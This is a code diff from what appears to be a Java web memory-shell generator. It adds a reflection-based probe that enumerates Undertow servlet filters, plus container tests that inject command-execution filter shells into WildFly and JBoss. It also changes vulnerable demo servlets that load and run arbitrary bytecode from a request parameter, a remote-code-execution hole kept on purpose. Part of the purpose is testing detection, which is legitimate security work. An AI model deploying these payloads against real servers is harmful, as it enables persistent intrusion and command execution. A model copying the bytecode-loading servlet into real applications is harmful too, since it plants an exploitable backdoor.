diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java new file mode 100644 index 00000000..17d9567c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java @@ -0,0 +1,185 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class UndertowFilterProbe { + + @Override + public String toString() { + String msg = ""; + Map>> allFiltersData = new LinkedHashMap>>(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found\n"; + } else { + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } + msg += formatFiltersData(allFiltersData); + } + return msg; + } + + private List> collectFiltersData(Object context) { + List> result = new ArrayList<>(); + try { + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + if (deploymentInfo == null) return Collections.emptyList(); + + Map filters = (Map) getFieldValue(deploymentInfo, "filters"); + + if (filters == null || filters.isEmpty()) return Collections.emptyList(); + + List filterUrlMappings = (List) getFieldValue(deploymentInfo, "filterUrlMappings"); +// List filterServletNameMappings = (List) getFieldValue(deploymentInfo, "filterServletNameMappings"); + + for (Object filterUrlMapping : filterUrlMappings) { + Map info = new HashMap<>(); + String filterName = (String) getFieldValue(filterUrlMapping, "filterName"); + String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping"); + Class filterClass = (Class) getFieldValue(filters.get(filterName), "filterClass"); + info.put("filterName", filterName); + info.put("urlPatterns", urlPattern); + info.put("filterClass", filterClass.getName()); + result.add(info); + } + } catch (Exception ignored) { + } + return result; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName"), ""); + appendIfPresent(output, " -> ", info.get("filterClass"), ""); + appendIfPresent(output, " -> URL:[", info.get("urlPatterns"), "]"); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value).append(suffix); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + Class clazz = thread.getContextClassLoader() + .loadClass("io.undertow.servlet.handlers.ServletRequestContext"); + Object requestContext = invokeMethod(clazz, "current", null, null); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index 89837cf4..47b29ece 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe; import com.reajason.javaweb.probe.payload.filter.ResinFilterProbe; import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe; +import com.reajason.javaweb.probe.payload.filter.UndertowFilterProbe; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import org.apache.commons.codec.binary.Base64; @@ -48,4 +49,8 @@ public class DetectionTool { public static String getResinFilterProbe() { return getBase64Class(ResinFilterProbe.class); } + + public static String getUndertowFilterProbe() { + return getBase64Class(UndertowFilterProbe.class); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java index e5d33196..8fb08587 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java @@ -4,8 +4,12 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -35,6 +43,11 @@ public class JbossEap7ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -70,4 +83,24 @@ public class JbossEap7ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java index c5fb6cfc..254f8779 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,8 +18,12 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class JbossEap81ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java index 901ad858..eb6de536 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Wildfly18ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java index e9fbda1f..f502ff9f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Wildfly23ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java index ce081b31..019a6d0e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Wildfly30ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java index 0e1639fe..1e140aba 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly36ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Wildfly36ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java index 1dfde1db..9a2e46e6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.*; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -72,4 +79,24 @@ public class Wildfly9ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getUndertowFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("io.undertow.servlet.handlers"))); + } } diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java index 24e0e555..c1e27bb3 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java @@ -10,6 +10,13 @@ import java.io.IOException; */ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet { + public BigIntegerClassLaoderServlet() { + } + + protected BigIntegerClassLaoderServlet(ClassLoader parent) { + super(parent); + } + @Override public void init(ServletConfig config) throws ServletException { @@ -25,7 +32,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - defineClass(null, bytes, 0, bytes.length).newInstance(); + new BigIntegerClassLaoderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java index a106e99a..20d12434 100644 --- a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java @@ -7,6 +7,13 @@ import java.io.IOException; */ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet { + public BigIntegerClassLaoderServlet() { + } + + protected BigIntegerClassLaoderServlet(ClassLoader parent) { + super(parent); + } + @Override public void init(ServletConfig config) throws ServletException { @@ -22,7 +29,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - defineClass(null, bytes, 0, bytes.length).newInstance(); + new BigIntegerClassLaoderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); }